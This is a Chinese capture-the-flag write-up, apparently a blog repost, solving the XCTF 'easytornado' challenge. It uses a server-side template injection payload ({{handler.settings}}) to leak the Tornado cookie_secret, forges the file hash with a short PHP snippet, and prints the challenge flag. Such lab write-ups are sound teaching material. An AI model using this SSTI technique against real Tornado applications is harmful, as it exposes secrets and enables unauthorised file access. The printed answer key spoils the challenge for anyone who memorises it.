• xctf攻防世界 Web高手进阶区 easytornado


    0x01. 进入环境,查看问题

    在这里插入图片描述
    如图,给了三个文件,我们挨个点过去,如图:

    • /flag.txt提示flag在/fllllllllllllag里面
    • /welcome.txt提示有个render,也就是用于渲染的关键词
    • /hints.txt提示md5(cookie_secret+md5(filename)),即需要对文件名进行一次md5,与cookie_secret拼接后,再进行一次md5

    0x02. 开始做题

    0x02_1. 观察payload

    http://61.147.171.105:53202/file?filename=/hints.txt&filehash=aee3fcdc70f9d95450cc4e1b5316c98e
    
    • 1

    发现filename是需要访问的文件名,filehash则是访问该文件需要的hash映射码,推测将来要访问的flag的payload中,filename=/fllllllllllllagfilehash=md5(cookie_secret+md5(filename))

    0x02_2. 了解cookie_secret

    经过一番查找,得知需要对tornato框架有一定的了解。cookie_secret是用来加密的密钥,他一般在应用对象application初始化时存放在该对象的settings属性中。
    它有一个别名,当前对象RequestHandler.setting,这样render函数就有作用了,我们只要调用到handler对象或者application对象就能得到cookie_secret。

    把文件名随便改了而不改hash能得到error页面,也就是说,该页面存在SSTI。构造error?msg={{handler.settings}}得到cookie_secret。如图:
    在这里插入图片描述

    0x02_3. 搞到filehash

    简单写一串php代码即可,使用在线编辑运行,即可得到答案。

    
    	$cookie_secret='ecd9532c-f90f-4aac-8517-ea2a890c80f3';
    	$filename='/fllllllllllllag';
    	echo md5($cookie_secret.md5($filename));
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    得到filehash值为24d592a983cefb8d510bfb218f07e9e3

    0x02_4. 构造payload

    构造的payload如下:

    http://61.147.171.105:53202/file?filename=/fllllllllllllag&filehash=24d592a983cefb8d510bfb218f07e9e3

    返回结果如图:

    在这里插入图片描述

    得到最终的答案:flag{3f39aea39db345769397ae895edb9c70}

  • 相关阅读:
    码农在长沙如何流浪
    31.10.3 测试半同步复制
    【Leetcode】970. Powerful Integers
    PDF文件去除文字水印
    bug修复 修复修复修复
    私人云盘系统对比
    【微信小程序AR】基于Kivicube零代码实现微信小程序AR
    Hive3.1.2的HQL执行过程
    【ARM AMBA AXI 入门 12 -- AXI协议中的 WLAST 与 RLAST】
    count(1)、count(*)、count(id)、count(name)区别
  • 原文地址:https://blog.csdn.net/l8947943/article/details/126174257